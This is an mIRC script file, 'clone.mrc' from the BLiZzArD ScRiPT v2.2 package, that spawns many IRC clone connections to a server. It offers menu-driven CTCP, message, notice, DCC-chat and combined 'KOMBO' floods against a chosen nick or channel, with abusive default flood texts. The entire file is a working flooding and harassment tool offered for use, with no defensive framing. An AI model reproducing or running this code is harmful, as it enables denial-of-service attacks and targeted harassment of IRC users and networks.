BLiZzArD ScRiPT — File Browser

BLiZzArDScRiPTv2.2 / BLiZzArDScRiPTv2.2 / clone.mrc

clone.mrc — 11.79 KB — Download this file

on *:load: {
  if ($version < 5.6) {
    echo -a 2,12ERROR:11,10This addon requires mIRC v5.6 or higher. Get it at http://www.mirc.com
    unload -rs $script | halt
  }
  else {
    echo -a 12,1Loaded Frostbite Clones By Team Sniper  {extra added by ^{IcE}^} but remember i didnt make em teamm sniper did so dont give me any credit!
    echo -a 12,1You can get it through menubar,channel or status popup just type death as command
    set %vername Die Bitch
    set %screen Die Bitch
    set %tsunami I BET THAT YA PISSED OF HEY!
  }
}
alias death {
  set %CServer $$?="What server?"
  set %Ccount $$?="How many?"
  set %Cport $$?="Which Port?"
  clone %ccount %cserver %cport
}
alias clone {
  if ($1 == $null) { echo 15 -a * /clone: type /rhelp to find out the commands | return }
  if ($window(@clone) == $null) { window -e @clone 100 400 500 300 @clone | titlebar @clone (rebellion)(clonestatus) | /aline @clone %ver Right hand Click for Clone Options | /inc %ccount | /clonewindow }
  unset %c.server %c.port %ccount
  if ($1 isnum) { %c.count = $1 | %c.server = $2 | %c.port = $3 }
  else { %c.count = 1 | %c.server = $1 | %c.port = $2 }
  %c.inc = 0 | :start | inc %c.inc | if (%c.inc > %c.count) { return } | %c.sock = clone $+ $r(1,1000)
  :loop | if ($sock(%c.sock).name) { %c.sock = clone $+ $r(1,1000) | goto loop }
  if (%c.port) { sockopen %c.sock %c.server %c.port }
  else { %c.port = 6667 | sockopen %c.sock %c.server 6667 }
  goto start
}
on 1:CLOSE:@clone:/unset %ccount | /c.echo DON'T Watch TV
menu @clone {
  Help:/rhelp
  -
  Flood Clones
  .Load More clones:/clone $$?="How many more?" %cserver %cport 
  .CTCP FLOOD:/ctcpflood1 $$?="nick/chan to flood" | /rline @cloners 12,1  [Status Clones]: CTCP flooding $!
  .MSG FLOOD:/msgflood1 $$?="nick/chan to flood" | /rline @cloners 12,1  [Status Clones]: Msg Flooding $!
  .KOMBO FLOOD!:/komboflood1 $$?="nick/chan to flood:" | /rline @cloners 12,1  [Status Clones]: KOMBO flooding $!
  .Dcc Chat Flood!:/chattest $$?="nick/chan to flood:" | /rline @cloners 12,1 [Status Clones]: DCC chat flooding $!
  Normal Controls
  .Join a Channel:/sockwrite -n clone* join $$?="What channel?" 
  .Part a Channel:/sockwrite -n clone* part $$?="What channel to Part(leave)"
  .Disconnect all Clones:/unset %ccount | /sockwrite -n clone* quit Leaving! 
  .Disconnect all Clones With MSG:/sockwrite -n clone* quit : $$?="What will be your death MSG?"
  .Msg Someone(all clones will msg this person):/sockwrite -n clone* privmsg $$?="Who to MSG" : $$?="What msg?"
  .Msg Channel(all clones will msg this channel):/sockwrite -n clone* privmsg $$?="What Channel" : $$?="What msg?"
} 
alias clonewindow {
  window -a @Cloners 200 5 270 170 @cloners
  aline @Cloners 12,1FrostBite clones 
  aline @Cloners 1,12=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
  aline @Cloners [Clones loaded]: %ccount
  aline @Cloners 1,12=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
  aline @Cloners Clones connecting to server
}
on 1:sockopen:clone*: {
  inc %ccount | /rline @cloners 3 [Clones loaded]: %ccount 
  /rline @cloners 5 Clones Connected to Server
  aline -h @clone $sockname connected to %c.server ( $+ %c.port $+ ) 
  sockwrite -n $sockname user r r r  :blah
  sockwrite -n $sockname nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)

}
on 1:sockclose:clone*: { aline -h @clone $sockname disconnected | dec %ccount | /rline @cloners 4 [Status Clones]: $sockname disconnected | /rline @cloners 3 [Clones loaded]: %ccount }
on 1:sockread:clone*:{
  if ($sockerr > 0) { return }
  :loop | sockread %tmp
  if ($sockbr == 0) { return } 
  if ($gettok(%tmp,1,32) == ping) { sockwrite -n $sockname PONG $gettok(%tmp,2-,32) }
  goto loop
}

on 1:input:@clone:{
  if ($left($1,1) != /) { sockwrite -n clone* privmsg %c.last.join : $+ $1- | aline -h @clone msging %c.last.join with: $1- | halt }
  if ($2 == $null) { aline -h @clone * $1 $+ : Insufficient parameters | halt }
  if ($1 == /join) { %c.last.join = $2 | sockwrite -n clone* join $2- | aline -h @clone Joining $2- | halt  }
  if ($1 == /part) { sockwrite -n clone* part $2- | aline -h @clone Parting $2- | halt }
  if ($1 == /msg) { if ($3 == $null) { aline -h @clone * /msg: Insufficient parameters | halt } | sockwrite -n clone* privmsg $2 : $+ $3- | aline -h @clone Msging $2 with: $3- | halt }
  if ($1 == /notice) { if ($3 == $null) { aline -h @clone * /notice: Insufficient parameters | halt } | sockwrite -n clone* notice $2 : $+ $3- | aline -h @clone Noticing $2 with: $3- | halt }
  if ($1 == /ctcp) { if ($3 == $null) { aline -h @clone * /ctcp: Insufficient parameters | halt } | sockwrite -n clone* privmsg $2 : $+ $chr(1) $+ $3- $+ $chr(1) | aline -h @clone Ctcping $2 with: $3- | halt }
  if ($1 == /quit) { sockwrite -n clone* quit : $+ $2- | aline -h @clone Now quiting with msg: $2- | halt }
  if ($1 == /kill) { sockclose clone* [ $+ [ $2 ] ] | dec %c.count | aline -h @clone Killed clone $2 | halt }
  if ($1 == /noticeflood) { if ($2 == $null) { aline -h @clone **** /notice: Insufficient parameters | halt } | sockwrite -n clone* notice $2 : -------------------------------------------------------------------------------------------------- %vername ------------------ %vername --------------------------------------------------- %vername --------------- %vername ---------------- %vername --------------------- %vername ------------------------- %tsunami ----------------------------------------------------------------------------------------------------------  }
  if ($1 == /komboflood) { if ($2 == $null) { aline -h @clone **** /komboflood: Insufficient parameters | halt } |  c.echo KOMBO FLOODING $2  | /komboflood1 $2  }
  if ($1 == /clone) { if ($2 == $null) { aline -h @clone **** /clone: Insufficient parameters | halt } | c.echo loading clones | /clone $1 $2 $3 }
  aline -h @clone No such command $1 | halt
}
alias /komboflood1 {
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  /timer285 3 2  sockwrite -n clone* notice $$1 : %vername  %vername %vername %vername %vername %vername %vername %vername %vername %vername %vername %vername %vername
  /timer287 3 2 sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) | sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  /timer289 3 2  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)

}
alias /chattest  {
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* nick [r] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
  sockwrite -n clone* privmsg $$1 : $+ $chr(001) $+ DCC CHAT chat  $longip($ip) 4501
}
alias /msgflood1 {
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  timer125 2 2 sockwrite -n clone* privmsg $$1 : %screen
  timer444 2 4  sockwrite -n clone* privmsg $$1 : %screen
  timer555 2 5 sockwrite -n clone* privmsg $$1 : %vername %vername %vername %vername
  timer888 2 6 sockwrite -n clone* privmsg $$1 : %screen
  timer1123 2 8  sockwrite -n clone* privmsg $$1 : %screen
  timer1231 2 9  sockwrite -n clone* privmsg $$1 : %vername %vername %vername %vername

}

alias /ctcpflood1 {
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  timer346 1 9 /ctcpflood2 $$1
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ xXxXxx $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ xXxXxxx $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Finger $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Finger $+ $chr(1)
}
alias ctcpflood2 {
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ xXxXxx $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ xXxXxxx $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)
  sockwrite -n clone* [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Finger $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ PING $+ $chr(1) 
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Time $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Version $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Clientinfo $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Action $+ $chr(1)
  sockwrite -n clone* privmsg $$1 : $+ $chr(1) $+ Finger $+ $chr(1)
}
alias /noticeflood1 {
  timer342 2 2 /sockwrite -n clone* notice $$1 : 0,1-------------------------------------------------------------------------------------------------- %vername ------------------ %vername --------------------------------------------------- %vername --------------- %vername ---------------- %vername --------------------- %vername ------------------------- %tsunami ---------------------------------------------------------------------------------------------------------- 
  timer343 2 4  /sockwrite -n clone* notice $$1 : %screen
  sockwrite -n clone* nick [BLiZzArD] $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  timer346 2 5  /sockwrite -n clone* notice $$1 : %screen
  timer347 2 6 /sockwrite -n clone* notice $$1 : %screen
}